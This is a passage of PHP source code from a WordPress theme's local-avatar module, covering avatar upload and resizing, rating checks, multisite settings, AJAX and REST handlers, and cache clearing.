	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 *
	 * @return int|false
	 * @since 2.5.0
	 *
	 */
	public function get_user_id( $id_or_email ) {
		$user_id = false;

		if ( is_numeric( $id_or_email ) ) {
			$user_id = (int) $id_or_email;
		} elseif ( is_object( $id_or_email ) && ! empty( $id_or_email->user_id ) ) {
			$user_id = (int) $id_or_email->user_id;
		} elseif ( $id_or_email instanceof WP_Post && ! empty( $id_or_email->post_author ) ) {
			$user_id = (int) $id_or_email->post_author;
		} elseif ( is_string( $id_or_email ) ) {
			$user    = get_user_by( 'email', $id_or_email );
			$user_id = $user ? $user->ID : '';
		}

		return $user_id;
	}

	/**
	 * Get local avatar url.
	 *
	 * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 * @param int $size Requested avatar size.
	 *
	 * @since 2.2.0
	 *
	 */
	public function get_penci_avatar_url( $id_or_email, $size ) {
		$user_id = $this->get_user_id( $id_or_email );

		if ( empty( $user_id ) ) {
			return '';
		}

		// Fetch local avatar from meta and make sure it's properly set.
		$local_avatars = get_user_meta( $user_id, $this->user_key, true );
		if ( empty( $local_avatars['full'] ) ) {
			return '';
		}

		// check rating
		$avatar_rating = get_user_meta( $user_id, $this->rating_key, true );
		$site_rating   = get_option( 'avatar_rating' );
		if ( ! empty( $avatar_rating ) && 'G' !== $avatar_rating && $site_rating ) {
			$ratings              = array_keys( $this->avatar_ratings );
			$site_rating_weight   = array_search( $site_rating, $ratings, true );
			$avatar_rating_weight = array_search( $avatar_rating, $ratings, true );
			if ( false !== $avatar_rating_weight && $avatar_rating_weight > $site_rating_weight ) {
				return '';
			}
		}

		// handle "real" media
		if ( ! empty( $local_avatars['media_id'] ) ) {
			// If using shared avatars, make sure we validate the URL on the main site.
			if ( $this->is_avatar_shared() ) {
				$origin_blog_id = isset( $local_avatars['blog_id'] ) && ! empty( $local_avatars['blog_id'] ) ? $local_avatars['blog_id'] : get_main_site_id();
				switch_to_blog( $origin_blog_id );
			}

			$avatar_full_path = get_attached_file( $local_avatars['media_id'] );

			if ( $this->is_avatar_shared() ) {
				restore_current_blog();
			}

			// has the media been deleted?
			if ( ! $avatar_full_path ) {
				return '';
			}
		}

		$size = (int) $size;

		// Generate a new size.
		if ( ! array_key_exists( $size, $local_avatars ) ) {
			$local_avatars[ $size ] = $local_avatars['full']; // just in case of failure elsewhere

			// allow automatic rescaling to be turned off
			if ( apply_filters( 'penci_avatars_dynamic_resize', true ) ) :

				$upload_path = wp_upload_dir();

				// get path for image by converting URL, unless its already been set, thanks to using media library approach
				if ( ! isset( $avatar_full_path ) ) {
					$avatar_full_path = str_replace( $upload_path['baseurl'], $upload_path['basedir'], $local_avatars['full'] );
				}

				// generate the new size
				$editor = wp_get_image_editor( $avatar_full_path );
				if ( ! is_wp_error( $editor ) ) {
					$resized = $editor->resize( $size, $size, true );
					if ( ! is_wp_error( $resized ) ) {
						$dest_file = $editor->generate_filename();
						$saved     = $editor->save( $dest_file );
						if ( ! is_wp_error( $saved ) ) {
							// Transform the destination file path into URL.
							$dest_file_url = '';
							if ( false !== strpos( $dest_file, $upload_path['basedir'] ) ) {
								$dest_file_url = str_replace( $upload_path['basedir'], $upload_path['baseurl'], $dest_file );
							} else if ( is_multisite() && false !== strpos( $dest_file, ABSPATH . 'wp-content/uploads' ) ) {
								$dest_file_url = str_replace( ABSPATH . 'wp-content/uploads', network_site_url( '/wp-content/uploads' ), $dest_file );
							}

							$local_avatars[ $size ] = $dest_file_url;
						}
					}
				}

				// save updated avatar sizes
				update_user_meta( $user_id, $this->user_key, $local_avatars );

			endif;
		}

		if ( 'http' !== substr( $local_avatars[ $size ], 0, 4 ) ) {
			$local_avatars[ $size ] = home_url( $local_avatars[ $size ] );
		}

		return esc_url( $local_avatars[ $size ] );
	}

	/**
	 * Get local avatar alt text.
	 *
	 * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 *
	 * @return string
	 * @since 2.5.0
	 *
	 */
	public function get_penci_avatar_alt( $id_or_email ) {
		$user_id = $this->get_user_id( $id_or_email );

		if ( empty( $user_id ) ) {
			return '';
		}

		// Fetch local avatar from meta and make sure we have a media ID.
		$local_avatars = get_user_meta( $user_id, 'penci_avatar', true );
		if ( empty( $local_avatars['media_id'] ) ) {
			return '';
		}

		return esc_attr( get_post_meta( $local_avatars['media_id'], '_wp_attachment_image_alt', true ) );
	}

	/**
	 * Get default avatar url
	 *
	 * @param int $size Requested avatar size.
	 *
	 * @since 2.2.0
	 *
	 */
	public function get_default_avatar_url( $size ) {
		if ( empty( $default ) ) {
			$avatar_default = get_option( 'avatar_default' );
			if ( empty( $avatar_default ) ) {
				$default = 'mystery';
			} else {
				$default = $avatar_default;
			}
		}

		$host = is_ssl() ? 'https://secure.gravatar.com' : 'http://0.gravatar.com';

		if ( 'mystery' === $default ) {
			$default = "$host/avatar/ad516503a11cd5ca435acc9bb6523536?s={$size}"; // ad516503a11cd5ca435acc9bb6523536 == md5('unknown@gravatar.com')
		} elseif ( 'blank' === $default ) {
			$default = includes_url( 'images/blank.gif' );
		} elseif ( 'gravatar_default' === $default ) {
			$default = "$host/avatar/?s={$size}";
		} elseif ( 'penci_avatar' === $default ) {
			$default           = "$host/avatar/?d=$default&amp;s={$size}";
			$default_avatar_id = get_option( 'penci_avatar_default', '' );
			if ( ! empty( $default_avatar_id ) ) {
				$default = wp_get_attachment_image_url( $default_avatar_id );
			}
		} else {
			$default = "$host/avatar/?d=$default&amp;s={$size}";
		}

		return $default;
	}

	/**
	 * Register admin settings.
	 */
	public function admin_init() {
		// upgrade pre 2.0 option
		$old_ops = get_option( 'penci_avatars_caps' );
		if ( $old_ops ) {
			if ( ! empty( $old_ops['penci_avatars_caps'] ) ) {
				update_option( 'penci_avatars', array( 'caps' => 1 ) );
			}

			delete_option( 'penci_avatar_caps' );
		}

		register_setting( 'discussion', 'penci_avatars', array( $this, 'sanitize_options' ) );
		add_settings_field( 'penci-avatars-only', __( 'Local Avatars Only', 'soledad' ), array(
			$this,
			'avatar_settings_field'
		), 'discussion', 'avatars', array(
			'class' => 'soledad',
			'key'   => 'only',
			'desc'  => __( 'Only allow local avatars (still uses Gravatar for default avatars)', 'soledad' ),
		) );
		add_settings_field( 'penci-avatars-caps', __( 'Local Upload Permissions', 'soledad' ), array(
			$this,
			'avatar_settings_field'
		), 'discussion', 'avatars', array(
			'class' => 'soledad',
			'key'   => 'caps',
			'desc'  => __( 'Only allow users with file upload capabilities to upload local avatars (Authors and above)', 'soledad' ),
		) );

		if ( is_multisite() ) {
			add_settings_field( 'penci-avatars-shared', __( 'Shared network avatars', 'soledad' ), array(
				$this,
				'avatar_settings_field'
			), 'discussion', 'avatars', array(
				'class'   => 'soledad',
				'key'     => 'shared',
				'desc'    => __( 'Uploaded avatars will be shared across the entire network, instead of being unique per site', 'soledad' ),
				'default' => 1,
			) );
		}

		add_action( 'load-options-discussion.php', array( $this, 'load_discussion_page' ) );

		// This is for network site settings.
		if ( PENCI_IS_NETWORK && is_network_admin() ) {
			add_action( 'load-settings.php', array( $this, 'load_network_settings' ) );
		}

		add_settings_field( 'penci-avatars-migration', __( 'Migrate Other Local Avatars', 'soledad' ), array(
			$this,
			'migrate_from_wp_user_avatar_settings_field'
		), 'discussion', 'avatars' );
		add_settings_field( 'penci-avatars-clear', esc_html__( 'Clear local avatar cache', 'soledad' ), array(
			$this,
			'avatar_settings_field'
		), 'discussion', 'avatars', array(
			'key'  => 'clear_cache',
			'desc' => esc_html__( 'Clear cache of stored avatars', 'soledad' ),
		) );

		// Save default avatar file.
		$this->save_default_avatar_file_id();
	}

	/**
	 * Fire code on the Discussion page
	 */
	public function load_discussion_page() {
		add_action( 'admin_print_styles', array( $this, 'admin_print_styles' ) );
		add_filter( 'admin_body_class', array( $this, 'admin_body_class' ) );
	}

	/**
	 * Load needed hooks to handle network settings
	 */
	public function load_network_settings() {
		$this->options = (array) get_site_option( 'penci_avatars', array() );

		add_action( 'wpmu_options', array( $this, 'show_network_settings' ) );
		add_action( 'update_wpmu_options', array( $this, 'save_network_settings' ) );
	}

	/**
	 * Show the network settings
	 */
	public function show_network_settings() {
		$mode = $this->get_network_mode();
		?>

        <h2><?php esc_html_e( 'Penci Avatars Settings', 'soledad' ); ?></h2>
        <table id="penci-avatars" class="form-table">
            <tr>
                <th scope="row">
					<?php esc_html_e( 'Mode', 'soledad' ); ?>
                </th>
                <td>
                    <fieldset>
                        <legend class="screen-reader-text"><?php esc_html_e( 'Mode', 'soledad' ); ?></legend>
                        <label><input name="penci_avatars[mode]" type="radio" id="sla-mode-default"
                                      value="default"<?php checked( $mode, 'default' ); ?> /> <?php esc_html_e( 'Default to the settings below when creating a new site', 'soledad' ); ?>
                        </label><br/>
                        <label><input name="penci_avatars[mode]" type="radio" id="sla-mode-enforce"
                                      value="enforce"<?php checked( $mode, 'enforce' ); ?> /> <?php esc_html_e( 'Enforce the settings below across all sites', 'soledad' ); ?>
                        </label><br/>
                    </fieldset>
                </td>
            </tr>
            <tr>
                <th scope="row">
					<?php esc_html_e( 'Local avatars only', 'soledad' ); ?>
                </th>
                <td>
					<?php
					$this->avatar_settings_field( array(
						'key'  => 'only',
						'desc' => __( 'Only allow local avatars (still uses Gravatar for default avatars)	', 'soledad' ),
					) );
					?>
                </td>
            </tr>
            <tr>
                <th scope="row">
					<?php esc_html_e( 'Local upload permissions', 'soledad' ); ?>
                </th>
                <td>
					<?php
					$this->avatar_settings_field( array(
						'key'  => 'caps',
						'desc' => __( 'Only allow users with file upload capabilities to upload local avatars (Authors and above)', 'soledad' ),
					) );
					?>
                </td>
            </tr>
            <tr>
                <th scope="row">
					<?php esc_html_e( 'Shared network avatars', 'soledad' ); ?>
                </th>
                <td>
					<?php
					$this->avatar_settings_field( array(
						'key'     => 'shared',
						'desc'    => __( 'Uploaded avatars will be shared across the entire network, instead of being unique per site', 'soledad' ),
						'default' => 1,
					) );
					?>
                </td>
            </tr>
        </table>

		<?php
	}

	/**
	 * Handle saving the network settings
	 */
	public static function save_network_settings() {
		$options   = array(
			'caps',
			'mode',
			'only',
			'shared',
		);
		$sanitized = array();

		foreach ( $options as $option_name ) {
			if ( ! isset( $_POST['penci_avatars'][ $option_name ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
				continue;
			}

			switch ( $option_name ) {
				case 'mode':
					update_site_option( 'penci_avatars_mode', sanitize_text_field( $_POST['penci_avatars'][ $option_name ] ) );
					break;
				default:
					$sanitized[ $option_name ] = empty( $_POST['penci_avatars'][ $option_name ] ) ? 0 : 1;
			}
		}

		update_site_option( 'penci_avatars', $sanitized );
	}

	/**
	 * Add scripts to the profile editing page
	 *
	 * @param string $hook_suffix Page hook
	 */
	public function enqueue_scripts( $hook_suffix ) {

		/**
		 * Filter the admin screens where we enqueue our scripts.
		 *
		 * @param array $screens Array of admin screens.
		 * @param string $hook_suffix Page hook.
		 *
		 * @return array
		 */
		$screens = apply_filters( 'penci_avatars_admin_enqueue_scripts', array(
			'profile.php',
			'user-edit.php',
			'options-discussion.php'
		), $hook_suffix );

		// Allow SLA actions on a bbPress profile edit page at FE.
		if ( function_exists( 'bbp_is_user_home_edit' ) && bbp_is_user_home_edit() ) {
			$hook_suffix = 'profile.php';
		}

		if ( ! in_array( $hook_suffix, $screens, true ) ) {
			return;
		}

		if ( current_user_can( 'upload_files' ) ) {
			wp_enqueue_media();
		}

		$user_id = filter_input( INPUT_GET, 'user_id', FILTER_SANITIZE_NUMBER_INT );
		$user_id = ( 'profile.php' === $hook_suffix ) ? get_current_user_id() : (int) $user_id;

		$this->remove_nonce = wp_create_nonce( 'remove_penci_avatar_nonce' );

		wp_enqueue_script( 'penci-avatars', PENCI_SOLEDAD_URL . '/js/avatars.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-avatars', 'i10n_PenciAvatars', array(
			'ajaxurl'                         => admin_url( 'admin-ajax.php' ),
			'user_id'                         => $user_id,
			'insertIntoPost'                  => __( 'Set as avatar', 'soledad' ),
			'selectCrop'                      => __( 'Select avatar and Crop', 'soledad' ),
			'deleteNonce'                     => $this->remove_nonce,
			'cacheNonce'                      => wp_create_nonce( 'sla_clear_cache_nonce' ),
			'mediaNonce'                      => wp_create_nonce( 'assign_penci_avatar_nonce' ),
			'migrateFromWpUserAvatarNonce'    => wp_create_nonce( 'migrate_from_wp_user_avatar_nonce' ),
			'clearCacheError'                 => esc_html__( 'Something went wrong while clearing cache, please try again.', 'soledad' ),
			'insertMediaTitle'                => esc_html__( 'Choose default avatar', 'soledad' ),
			'migrateFromWpUserAvatarSuccess'  => __( 'Number of avatars successfully migrated from WP User Avatar', 'soledad' ),
			'migrateFromWpUserAvatarFailure'  => __( 'No avatars were migrated from WP User Avatar.', 'soledad' ),
			'migrateFromWpUserAvatarProgress' => __( 'Migration in progress.', 'soledad' ),
		) );
	}

	/**
	 * Sanitize new settings field before saving
	 *
	 * @param array|string $input Passed input values to sanitize
	 *
	 * @return array|string Sanitized input fields
	 */
	public function sanitize_options( $input ) {
		$new_input['caps'] = empty( $input['caps'] ) ? 0 : 1;
		$new_input['only'] = empty( $input['only'] ) ? 0 : 1;

		if ( is_multisite() ) {
			$new_input['shared'] = empty( $input['shared'] ) ? 0 : 1;
		}

		return $new_input;
	}

	/**
	 * Settings field for avatar upload capabilities
	 *
	 * @param array $args Field arguments
	 */
	public function avatar_settings_field( $args ) {
		$args = wp_parse_args( $args, array(
			'key'     => '',
			'desc'    => '',
			'default' => 0,
		) );

		if ( ! isset( $this->options[ $args['key'] ] ) ) {
			$this->options[ $args['key'] ] = $args['default'];
		}

		if ( 'clear_cache' !== $args['key'] ) {
			echo '
			<label for="penci-avatars-' . esc_attr( $args['key'] ) . '">
				<input type="checkbox" name="penci_avatars[' . esc_attr( $args['key'] ) . ']" id="penci-avatars-' . esc_attr( $args['key'] ) . '" value="1" ' . checked( $this->options[ $args['key'] ], 1, false ) . ' />
				' . esc_html( $args['desc'] ) . '
			</label>
		';
		} else {
			echo '<button id="clear_cache_btn" class="button delete" name="clear_cache_btn" >' . esc_html__( 'Clear cache', 'soledad' ) . '</button><br/>';
			echo '<span id="clear_cache_message" style="font-style:italic;font-size:14px;line-height:2;"></span>';
		}

		// Output warning if needed.
		if ( PENCI_IS_NETWORK // If network activated.
			&& $this->is_enforced() // And in enforce mode.
			&& 'shared' === $args['key'] // And we are displaying the last setting.
		) {
			echo '
				<div class="notice notice-warning inline">
					<p><strong>' . esc_html__( 'Simple Local Avatar settings are currently enforced across all sites on the network.', 'soledad' ) . '</strong></p>
				</div>
			';
		}
	}

	/**
	 * Settings field for migrating avatars away from WP User Avatar
	 */
	public function migrate_from_wp_user_avatar_settings_field() {
		printf( '<p><button type="button" name="%1$s" id="%1$s" class="button button-secondary">%2$s</button></p><p class="%1$s-progress"></p>', esc_attr( 'penci-avatars-migrate-from-wp-user-avatar' ), esc_html__( 'Migrate avatars from WP User Avatar to Penci Avatars', 'soledad' ) );
	}

	/**
	 * Output new Avatar fields to user editing / profile screen
	 *
	 * @param object $profileuser User object
	 */
	public function edit_user_profile( $profileuser ) {
		?>
        <div id="penci-avatar-section">
            <h3><?php esc_html_e( 'Avatar', 'soledad' ); ?></h3>

            <table class="form-table">
                <tr class="upload-avatar-row">
                    <th scope="row"><label
                                for="penci-avatar"><?php esc_html_e( 'Upload Avatar', 'soledad' ); ?></label>
                    </th>
                    <td style="width: 50px;" id="penci-avatar-photo">
						<?php
						add_filter( 'pre_option_avatar_rating', '__return_null' );     // ignore ratings here
						echo wp_kses_post( get_penci_avatar( $profileuser->ID ) );
						remove_filter( 'pre_option_avatar_rating', '__return_null' );
						?>
                    </td>
                    <td>
						<?php
						$upload_rights = current_user_can( 'upload_files' );
						if ( ! $upload_rights ) {
							$upload_rights = empty( $this->options['caps'] );
						}

						if ( $upload_rights ) {
							do_action( 'penci_avatar_notices' );
							wp_nonce_field( 'penci_avatar_nonce', '_penci_avatar_nonce', false );
							$remove_url = add_query_arg( array(
								'action'   => 'remove-penci-avatar',
								'user_id'  => $profileuser->ID,
								'_wpnonce' => $this->remove_nonce,
							) );
							?>
							<?php
							// if user is author and above hide the choose file option
							// force them to use the WP Media Selector
							// At FE, show the file input field regardless of the caps.
							if ( ! is_admin() || ! current_user_can( 'upload_files' ) ) {
								?>
                                <p style="display: inline-block; width: 26em;">
                                    <span class="description"><?php esc_html_e( 'Choose an image from your computer:' ); ?></span><br/>
                                    <input type="file" name="penci-avatar" id="penci-avatar"
                                           class="standard-text"/>
                                    <span class="spinner" id="penci-avatar-spinner"></span>
                                </p>
							<?php } ?>
                            <p>
								<?php if ( current_user_can( 'upload_files' ) && did_action( 'wp_enqueue_media' ) ) : ?>
                                    <a href="#" aria-label="" class="button hide-if-no-js"
                                       id="penci-avatar-media"><?php esc_html_e( 'Choose from Media Library', 'soledad' ); ?></a> &nbsp;
								<?php endif; ?>
                                <a href="<?php echo esc_url( $remove_url ); ?>"
                                   class="button item-delete submitdelete deletion"
                                   id="penci-avatar-remove" <?php echo empty( $profileuser->penci_avatar ) ? ' style="display:none;"' : ''; ?>>
									<?php esc_html_e( 'Delete local avatar', 'soledad' ); ?>
                                </a>
                            </p>
							<?php
						} else {
							if ( empty( $profileuser->penci_avatar ) ) {
								echo '<span class="description">' . esc_html__( 'No local avatar is set. Set up your avatar at Gravatar.com.', 'soledad' ) . '</span>';
							} else {
								echo '<span class="description">' . esc_html__( 'You do not have media management permissions. To change your local avatar, contact the blog administrator.', 'soledad' ) . '</span>';
							}
						}
						?>
                    </td>
                </tr>
                <tr class="ratings-row">
                    <th scope="row"><?php esc_html_e( 'Rating' ); ?></th>
                    <td colspan="2">
                        <fieldset
                                id="penci-avatar-ratings" <?php disabled( empty( $profileuser->penci_avatar ) ); ?>>
                            <legend class="screen-reader-text"><span><?php esc_html_e( 'Rating' ); ?></span></legend>
							<?php
							$this->update_avatar_ratings();

							if ( empty( $profileuser->penci_avatar_rating ) || ! array_key_exists( $profileuser->penci_avatar_rating, $this->avatar_ratings ) ) {
								$profileuser->penci_avatar_rating = 'G';
							}

							foreach ( $this->avatar_ratings as $key => $rating ) :
								echo "\n\t<label><input type='radio' name='penci_avatar_rating' value='" . esc_attr( $key ) . "' " . checked( $profileuser->penci_avatar_rating, $key, false ) . '/>' . esc_html( $rating ) . '</label><br />';
							endforeach;
							?>
                            <p class="description"><?php esc_html_e( 'If the local avatar is inappropriate for this site, Gravatar will be attempted.', 'soledad' ); ?></p>
                        </fieldset>
                    </td>
                </tr>
            </table>
        </div>
		<?php
	}

	/**
	 * Ensure that the profile form has proper encoding type
	 */
	public function user_edit_form_tag() {
		echo 'enctype="multipart/form-data"';
	}

	/**
	 * Saves avatar image to a user
	 *
	 * @param int|string $url_or_media_id Local URL for avatar or ID of attachment
	 * @param int $user_id ID of user to assign image to
	 */
	public function assign_new_user_avatar( $url_or_media_id, $user_id ) {
		// delete the old avatar
		$this->avatar_delete( $user_id ); // delete old images if successful.

		$meta_value = array();

		// set the new avatar
		if ( is_int( $url_or_media_id + 0 ) ) {
			$meta_value['media_id'] = $url_or_media_id;
			$url_or_media_id        = wp_get_attachment_url( $url_or_media_id );
		}

		$meta_value['full']    = $url_or_media_id;
		$meta_value['blog_id'] = get_current_blog_id();

		update_user_meta( $user_id, $this->user_key, $meta_value ); // save user information (overwriting old).
	}

	/**
	 * Save any changes to the user profile
	 *
	 * @param int $user_id ID of user being updated
	 */
	public function edit_user_profile_update( $user_id ) {
		// check nonces
		if ( empty( $_POST['_penci_avatar_nonce'] ) || ! wp_verify_nonce( $_POST['_penci_avatar_nonce'], 'penci_avatar_nonce' ) ) {
			return;
		}

		// check for uploaded files
		if ( ! empty( $_FILES['penci-avatar']['name'] ) ) :

			// need to be more secure since low privelege users can upload
			if ( false !== strpos( $_FILES['penci-avatar']['name'], '.php' ) ) {
				$this->avatar_upload_error = __( 'For security reasons, the extension ".php" cannot be in your file name.', 'soledad' );
				add_action( 'user_profile_update_errors', array( $this, 'user_profile_update_errors' ) );

				return;
			}

			// front end (theme my profile etc) support
			if ( ! function_exists( 'media_handle_upload' ) ) {
				include_once ABSPATH . 'wp-admin/includes/media.php';
			}

			// front end (plugin bbPress etc) support
			if ( ! function_exists( 'wp_handle_upload' ) ) {
				include_once ABSPATH . 'wp-admin/includes/file.php';
			}
			if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) {
				include_once ABSPATH . 'wp-admin/includes/image.php';
			}

			// allow developers to override file size upload limit for avatars
			add_filter( 'upload_size_limit', array( $this, 'upload_size_limit' ) );

			$this->user_id_being_edited = $user_id; // make user_id known to unique_filename_callback function
			$avatar_id                  = media_handle_upload( 'penci-avatar', 0, array(), array(
				'mimes'                    => array(
					'jpg|jpeg|jpe' => 'image/jpeg',
					'gif'          => 'image/gif',
					'png'          => 'image/png',
				),
				'test_form'                => false,
				'unique_filename_callback' => array( $this, 'unique_filename_callback' ),
			) );

			remove_filter( 'upload_size_limit', array( $this, 'upload_size_limit' ) );

			if ( is_wp_error( $avatar_id ) ) { // handle failures.
				$this->avatar_upload_error = '<strong>' . __( 'There was an error uploading the avatar:', 'soledad' ) . '</strong> ' . esc_html( $avatar_id->get_error_message() );
				add_action( 'user_profile_update_errors', array( $this, 'user_profile_update_errors' ) );

				return;
			}

			$this->assign_new_user_avatar( $avatar_id, $user_id );

		endif;

		// Handle ratings
		if ( isset( $avatar_id ) || get_user_meta( $user_id, $this->user_key, true ) ) {
			if ( empty( $_POST['penci_avatar_rating'] ) || ! array_key_exists( $_POST['penci_avatar_rating'], $this->avatar_ratings ) ) {
				$_POST['penci_avatar_rating'] = key( $this->avatar_ratings );
			}

			update_user_meta( $user_id, $this->rating_key, $_POST['penci_avatar_rating'] );
		}
	}

	/**
	 * Allow developers to override the maximum allowable file size for avatar uploads
	 *
	 * @param int $bytes WordPress default byte size check
	 *
	 * @return int Maximum byte size
	 */
	public function upload_size_limit( $bytes ) {
		return apply_filters( 'penci_avatars_upload_limit', $bytes );
	}

	/**
	 * Runs when a user clicks the Remove button for the avatar
	 */
	public function action_remove_penci_avatar() {
		if ( ! empty( $_GET['user_id'] ) && ! empty( $_GET['_wpnonce'] ) && wp_verify_nonce( $_GET['_wpnonce'], 'remove_penci_avatar_nonce' ) ) {
			$user_id = (int) $_GET['user_id'];

			if ( ! current_user_can( 'edit_user', $user_id ) ) {
				wp_die( esc_html__( 'You do not have permission to edit this user.', 'soledad' ) );
			}

			$this->avatar_delete( $user_id );    // delete old images if successful

			if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
				echo wp_kses_post( get_penci_avatar( $user_id ) );
			}
		}

		if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
			die;
		}
	}

	/**
	 * AJAX callback for assigning media ID fetched from media library to user
	 */
	public function ajax_assign_penci_avatar_media() {
		// check required information and permissions
		if ( empty( $_POST['user_id'] ) || empty( $_POST['media_id'] ) || ! current_user_can( 'upload_files' ) || ! current_user_can( 'edit_user', $_POST['user_id'] ) || empty( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'assign_penci_avatar_nonce' ) ) {
			die;
		}

		$media_id = (int) $_POST['media_id'];
		$user_id  = (int) $_POST['user_id'];

		// ensure the media is real is an image
		if ( wp_attachment_is_image( $media_id ) ) {
			$this->assign_new_user_avatar( $media_id, $user_id );
		}

		echo wp_kses_post( get_penci_avatar( $user_id ) );

		die;
	}

	/**
	 * Delete avatars based on a user_id
	 *
	 * @param int $user_id User ID.
	 */
	public function avatar_delete( $user_id ) {
		$old_avatars = (array) get_user_meta( $user_id, $this->user_key, true );

		if ( empty( $old_avatars ) ) {
			return;
		}

		// if it was uploaded media, don't erase the full size or try to erase an the ID
		if ( array_key_exists( 'media_id', $old_avatars ) ) {
			unset( $old_avatars['media_id'], $old_avatars['full'] );
		}

		if ( ! empty( $old_avatars ) ) {
			$upload_path = wp_upload_dir();

			foreach ( $old_avatars as $old_avatar ) {
				// derive the path for the file based on the upload directory
				$old_avatar_path = str_replace( $upload_path['baseurl'], $upload_path['basedir'], $old_avatar );
				if ( file_exists( $old_avatar_path ) ) {
					unlink( $old_avatar_path );
				}
			}
		}

		delete_user_meta( $user_id, $this->user_key );
		delete_user_meta( $user_id, $this->rating_key );
	}

	/**
	 * Creates a unique, meaningful file name for uploaded avatars.
	 *
	 * @param string $dir Path for file
	 * @param string $name Filename
	 * @param string $ext File extension (e.g. ".jpg")
	 *
	 * @return string Final filename
	 */
	public function unique_filename_callback( $dir, $name, $ext ) {
		$user = get_user_by( 'id', (int) $this->user_id_being_edited );
		$name = $base_name = sanitize_file_name( $user->display_name . '_avatar_' . time() ); //phpcs:ignore

		// ensure no conflicts with existing file names
		$number = 1;
		while ( file_exists( $dir . "/$name$ext" ) ) {
			$name = $base_name . '_' . $number;
			$number ++;
		}

		return $name . $ext;
	}

	/**
	 * Adds errors based on avatar upload problems.
	 *
	 * @param WP_Error $errors Error messages for user profile screen.
	 */
	public function user_profile_update_errors( WP_Error $errors ) {
		$errors->add( 'avatar_error', $this->avatar_upload_error );
	}

	/**
	 * Registers the penci_avatar field in the REST API.
	 */
	public function register_rest_fields() {
		register_rest_field( 'user', 'penci_avatar', array(
			'get_callback'    => array( $this, 'get_avatar_rest' ),
			'update_callback' => array( $this, 'set_avatar_rest' ),
			'schema'          => array(
				'description' => 'The users simple local avatar',
				'type'        => 'object',
			),
		) );
	}

	/**
	 * Returns the penci_avatar meta key for the given user.
	 *
	 * @param object $user User object
	 */
	public function get_avatar_rest( $user ) {
		$local_avatar = get_user_meta( $user['id'], $this->user_key, true );
		if ( empty( $local_avatar ) ) {
			return;
		}

		return $local_avatar;
	}

	/**
	 * Updates the simple local avatar from a REST request.
	 *
	 * Since we are just adding a field to the existing user endpoint
	 * we don't need to worry about ensuring the calling user has proper permissions.
	 * Only the user or an administrator would be able to change the avatar.
	 *
	 * @param array $input Input submitted via REST request.
	 * @param object $user The user making the request.
	 */
	public function set_avatar_rest( $input, $user ) {
		$this->assign_new_user_avatar( $input['media_id'], $user->ID );
	}

	/**
	 * Short-circuit filter the `penci_avatars` option to match network if necessary
	 *
	 * @param bool $value Value of `penci_avatars` option, typically false.
	 *
	 * @return array
	 */
	public function pre_option_penci_avatars( $value ) {
		if ( PENCI_IS_NETWORK && 'enforce' === $this->get_network_mode() ) {
			$value = get_site_option( 'penci_avatars', array() );
		}

		return $value;
	}

	/**
	 * Set plugin defaults for a new site
	 *
	 * @param int $blog_id Blog ID.
	 */
	public function set_defaults( $blog_id ) {
		if ( 'enforce' === $this->get_network_mode() ) {
			return;
		}

		switch_to_blog( $blog_id );
		update_option( 'penci_avatars', $this->sanitize_options( $this->options ) );
		restore_current_blog();
	}

	/**
	 * Add some basic styling on the Discussion page
	 */
	public function admin_print_styles() {
		?>
        <style>
			.sla-enforced .penci-avatars th,
			.sla-enforced .penci-avatars label {
				opacity: 0.5;
				pointer-events: none;
			}
			.sla-enforced .penci-avatars .notice {
				margin-top: 20px;
			}
			@media screen and (min-width: 783px) {
				.sla-enforced .penci-avatars .notice {
					left: -220px;
					position: relative;
				}
			}
        </style>
		<?php
	}

	/**
	 * Adds admin body classes to the Discussion options screen
	 *
	 * @param string $classes Space-separated list of classes to apply to the body element.
	 *
	 * @return string
	 */
	public function admin_body_class( $classes ) {
		if ( $this->is_enforced() ) {
			$classes .= ' sla-enforced';
		}

		return $classes;
	}

	/**
	 * Overwriting existing avatar_ratings so this can be called just before the rating strings would be used so that
	 * translations will work correctly.
	 * Default text-domain because the strings have already been translated
	 */
	private function update_avatar_ratings() {
		$this->avatar_ratings = array(
			'G'  => __( 'G &#8212; Suitable for all audiences' ),
			'PG' => __( 'PG &#8212; Possibly offensive, usually for audiences 13 and above' ),
			'R'  => __( 'R &#8212; Intended for adult audiences above 17' ),
			'X'  => __( 'X &#8212; Even more mature than above' ),
		);
	}

	/**
	 * Clear user cache.
	 */
	public function sla_clear_user_cache() {
		check_ajax_referer( 'sla_clear_cache_nonce', 'nonce' );
		$step = isset( $_REQUEST['step'] ) ? intval( $_REQUEST['step'] ) : 1;

		// Setup defaults.
		$users_per_page = 50;
		$offset         = ( $step - 1 ) * $users_per_page;

		$users_query = new \WP_User_Query( array(
			'fields' => array( 'ID' ),
			'number' => $users_per_page,
			'offset' => $offset,
		) );

		// Total users in the site.
		$total_users = $users_query->get_total();

		// Get the users.
		$users = $users_query->get_results();

		if ( ! empty( $users ) ) {
			foreach ( $users as $user ) {
				$user_id       = $user->ID;
				$local_avatars = get_user_meta( $user_id, 'penci_avatar', true );
				$media_id      = isset( $local_avatars['media_id'] ) ? $local_avatars['media_id'] : '';
				$this->clear_user_avatar_cache( $local_avatars, $user_id, $media_id );
			}

			wp_send_json_success( array(
				'step'    => $step + 1,
				'message' => sprintf( /* translators: 1: Offset, 2: Total users  */ esc_html__( 'Processing %1$s/%2$s users...', 'soledad' ), $offset, $total_users ),
			) );
		}

		wp_send_json_success( array(
			'step'    => 'done',
			'message' => sprintf( /* translators: %s Total users */ esc_html__( 'Completed clearing cache for all %s user(s) avatars.', 'soledad' ), $total_users ),
		) );
	}

	/**
	 * Clear avatar cache for given user.
	 *
	 * @param array $local_avatars Local avatars.
	 * @param int $user_id User ID.
	 * @param mixed $media_id Media ID.
	 */
	private function clear_user_avatar_cache( $local_avatars, $user_id, $media_id ) {
		if ( ! empty( $media_id ) ) {
			// In order to support WP 4.9.
			if ( function_exists( 'wp_get_original_image_path' ) ) {
